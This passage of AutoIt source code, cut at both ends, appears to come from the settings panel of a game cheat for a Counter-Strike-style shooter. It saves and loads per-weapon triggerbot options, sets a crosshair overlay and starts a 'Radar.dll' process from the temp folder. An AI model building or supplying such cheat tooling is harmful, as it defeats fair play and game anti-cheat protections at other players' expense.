& "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "sawedoff" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_sawedoff.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_sawedoffe.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sawedoff.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sawedoff.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_sawedoff.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "tec9" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_tec9.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_tec9.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_tec9.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_tec9.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_tec9.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "taser" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_taser.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_taser.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_taser.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_taser.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_taser.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "mp9" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mp9.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_mp9.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mp9.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mp9.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_mp9.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "scar17" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_scar17.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_scar17.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_scar17.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_scar17.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_scar17.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "ssg08" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_ssg08.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_ssg08.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_ssg08.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_ssg08.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_ssg08.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf EndSwitch Case $thitleft $treadhitboxvalue -=1 If $treadhitboxvalue < 1 Then $treadhitboxvalue = 1 EndIf GUICtrlSetData($menuhitbox, $treadhitboxvalue) Case $thitright $treadhitboxvalue +=1 GUICtrlSetData($menuhitbox, $treadhitboxvalue) Case $tkeymin $ptkey -=1 If $ptkey < 1 Then $ptkey = 1 EndIf GUICtrlSetData($tkeydis, $ptkey) Case $tkeyplus $ptkey +=1 GUICtrlSetData($tkeydis, $ptkey) Case $beforeleft $treadbeforevalue -=1 If $treadbeforevalue < 0 Then $treadbeforevalue = 0 EndIf GUICtrlSetData($menubefore, $treadbeforevalue) Case $beforetright $treadbeforevalue +=1 GUICtrlSetData($menubefore, $treadbeforevalue) Case $afterleft $treadaftervalue -=1 If $treadaftervalue < 0 Then $treadaftervalue = 0 EndIf GUICtrlSetData($menuafter, $treadaftervalue) Case $afterright $treadaftervalue +=1 GUICtrlSetData($menuafter, $treadaftervalue) Case $radarplus $radardisread +=1 GUICtrlSetData($radardistance, $radardisread) Case $radarmin $radardisread -=1 If $radardisread < 1 Then $radardisread = 1 EndIf GUICtrlSetData($radardistance,$radardisread) Case $rsave IniWrite($FileSet, "Settings", "Radar_Enabled", $radarenable) IniWrite($FileSet, "Settings", "Radar_Distance", $radardisread) If ProcessExists("Radar.dll") Then Else If $radarenable = 1 Then Run(@TempDir & "\Radar.dll") EndIf EndIf If $radarenable = 0 Then ProcessClose("Radar.dll") EndIf Case $Radaron If $radarenable = 1 Then GUICtrlSetImage($Radaron, @TempDir & "\Disable.bmp") $radarenable = 0 Else GUICtrlSetImage($Radaron, @TempDir & "\Active.bmp") $radarenable = 1 EndIf Case $Allbon If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") $treadhitvalue = 0 Else GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") $treadhitvalue = 1 EndIf Case $trigon If $treadenablevalue = 1 Then GUICtrlSetImage($trigon, @TempDir & "\Disable.bmp") $treadenablevalue = 0 Else GUICtrlSetImage($trigon, @TempDir & "\Active.bmp") $treadenablevalue = 1 EndIf Case $crosshairon If $Croshair = 1 Then GUICtrlSetImage($crosshairon, @TempDir & "\Disable.bmp") $Croshair = 0 GUICtrlSetColor($dcrossgui, 0) GUICtrlSetColor($dcrossgui2, 0) GUICtrlSetColor($dcrossgui3, 0) IniWrite( $FileSet, "Settings", "Visuals.Crosshair", 0) Else GUICtrlSetImage($crosshairon, @TempDir & "\Active.bmp") $Croshair = 1 GUICtrlSetColor($dcrossgui, 0xFF0000) GUICtrlSetColor($dcrossgui2, 0xFF0000) GUICtrlSetColor($dcrossgui3, 0xFF0000) IniWrite( $FileSet, "Settings", "Visuals.Crosshair", 1) EndIf Case $drawcrossplus $adup +=1 GUICtrlSetData($drawcrossdis, $adup) IniWrite($FileSet, 'Settings', "Visuals.Crosshair.adup", $adup) GUICtrlSetPos($dcrossgui, $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup, 20, 20) GUICtrlSetPos($dcrossgui2, $aClientSize[0] / 2 + $adside + 9, $aClientSize[1] / 2 + $adup, 1, 20) GUICtrlSetPos($dcrossgui3, $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup + 10, 20, 1) Case $drawcrossmin $adup -=1 GUICtrlSetData($drawcrossdis, $adup) IniWrite($FileSet, 'Settings', "Visuals.Crosshair.adup", $adup) GUICtrlSetPos($dcrossgui, $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup, 20, 20) GUICtrlSetPos($dcrossgui2, $aClientSize[0] / 2 + $adside + 9, $aClientSize[1] / 2 + $adup, 1, 20) GUICtrlSetPos($dcrossgui3, $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup + 10, 20, 1) Case $drawcrossplus2 $adside +=1 GUICtrlSetData($drawcrossdis2, $adside) IniWrite($FileSet, 'Settings', "Visuals.Crosshair.adside", $adside) GUICtrlSetPos($dcrossgui, $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup, 20, 20) GUICtrlSetPos($dcrossgui2, $aClientSize[0] / 2 + $adside + 9, $aClientSize[1] / 2 + $adup, 1, 20) GUICtrlSetPos($dcrossgui3, $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup + 10, 20, 1) Case $drawcrossmin2 $adside -=1 GUICtrlSetData($drawcrossdis2, $adside) IniWrite($FileSet, 'Settings', "Visuals.Crosshair.adside", $adside) GUICtrlSetPos($dcrossgui, $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup, 20, 20) GUICtrlSetPos($dcrossgui2, $aClientSize[0] / 2 + $adside + 9, $aClientSize[1] / 2 + $adup, 1, 20) GUICtrlSetPos($dcrossgui3, $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup + 10, 20, 1) Case $wateron If $watermarkactive = 1 Then GUICtrlSetImage($wateron, @TempDir & "\Disable.bmp") $watermarkactive = 0 GUICtrlSetColor($watermark, 0) IniWrite( $FileSet, "Settings", "Watermark", 0) Else GUICtrlSetImage($wateron, @TempDir & "\Active.bmp") $watermarkactive = 1 GUICtrlSetColor($watermark, 0xFF0000) IniWrite( $FileSet, "Settings", "Watermark", 1) EndIf Case $tsave $treadw = GUICtrlRead($thCombo) IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) If $treadw = "Deagle" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_deagle.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_deagle.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_deagle.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_deagle.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_deagle.hitbox", $treadhitboxvalue) EndIf If $treadw = "P2000" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_P2000.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_P2000.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_P2000.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_P2000.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_P2000.hitbox", $treadhitboxvalue) EndIf If $treadw = "elite" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_elite.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_elite.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_elite.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_elite.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_elite.hitbox", $treadhitboxvalue) EndIf If $treadw = "p90" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_p90.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p90.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p90.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p90.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p90.hitbox", $treadhitboxvalue) EndIf If $treadw = "mac10" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_mac10.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mac10.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mac10.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mac10.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mac10.hitbox", $treadhitboxvalue) EndIf If $treadw = "bizon" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_bizon.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_bizon.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_bizon.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_bizon.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_bizon.hitbox", $treadhitboxvalue) EndIf If $treadw = "sg553" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg553.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg553.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg553.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg553.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg553.hitbox", $treadhitboxvalue) EndIf If $treadw = "fiveseven" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_fiveseven.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_fiveseven.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_fiveseven.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_fiveseven.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_fiveseven.hitbox", $treadhitboxvalue) EndIf If $treadw = "glock" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_glock.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_glock.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_glock.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_glock.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_glock.hitbox", $treadhitboxvalue) EndIf If $treadw = "p228" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_p228.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p228.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p228.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p228.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p228.hitbox", $treadhitboxvalue) EndIf If $treadw = "p250" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_p250.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p250.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p250.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p250.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_p250.hitbox", $treadhitboxvalue) EndIf If $treadw = "usp" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_usp.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_usp.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_usp.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_usp.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_usp.hitbox", $treadhitboxvalue) EndIf If $treadw = "famas" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_famas.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_famas.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_famas.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_famas.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_famas.hitbox", $treadhitboxvalue) EndIf If $treadw = "ak47" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_ak47.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ak47.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ak47.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ak47.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ak47.hitbox", $treadhitboxvalue) EndIf If $treadw = "nova" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_nova.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_nova.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_nova.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_nova.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_nova.hitbox", $treadhitboxvalue) EndIf If $treadw = "mag7" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_mag7.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mag7.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mag7.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mag7.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mag7.hitbox", $treadhitboxvalue) EndIf If $treadw = "ump45" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_ump45.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ump45.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ump45.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ump45.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ump45.hitbox", $treadhitboxvalue) EndIf If $treadw = "mp7" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp7.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp7.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp7.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp7.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp7.hitbox", $treadhitboxvalue) EndIf If $treadw = "m4a1" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_m4a1.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m4a1.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m4a1.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m4a1.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m4a1.hitbox", $treadhitboxvalue) EndIf If $treadw = "galil" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_galil.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_galil.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_galil.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_galil.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_galil.hitbox", $treadhitboxvalue) EndIf If $treadw = "galilar" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_galilar.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_galilar.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_galilar.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_galilar.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_galilar.hitbox", $treadhitboxvalue) EndIf If $treadw = "aug" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_aug.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_aug.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_aug.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_aug.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_aug.hitbox", $treadhitboxvalue) EndIf If $treadw = "scar20" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar20.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar20.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar20.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar20.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar20.hitbox", $treadhitboxvalue) EndIf If $treadw = "awp" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_awp.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_awp.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_awp.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_awp.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_awp.hitbox", $treadhitboxvalue) EndIf If $treadw = "g3sg1" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_g3sg1.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_g3sg1.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_g3sg1.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_g3sg1.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_g3sg1.hitbox", $treadhitboxvalue) EndIf If $treadw = "m249" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_m249.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m249.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m249.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m249.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m249.hitbox", $treadhitboxvalue) EndIf If $treadw = "m3" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_m3.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m3.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m3.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m3.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_m3.hitbox", $treadhitboxvalue) EndIf If $treadw = "mp5navy" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp5navy.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp5navy.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp5navy.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp5navy.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp5navy.hitbox", $treadhitboxvalue) EndIf If $treadw = "scout" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_scout.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scout.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scout.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scout.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scout.hitbox", $treadhitboxvalue) EndIf If $treadw = "sg550" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg550.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg550.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg550.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg550.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg550.hitbox", $treadhitboxvalue) EndIf If $treadw = "sg552" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg552.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg552.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg552.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg552.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sg552.hitbox", $treadhitboxvalue) EndIf If $treadw = "tmp" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_tmp.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_tmp.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_tmp.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_tmp.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_tmp.hitbox", $treadhitboxvalue) EndIf If $treadw = "xm1014" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_xm1014.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_xm1014.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_xm1014.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_xm1014.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_xm1014.hitbox", $treadhitboxvalue) EndIf If $treadw = "negev" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_negev.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", 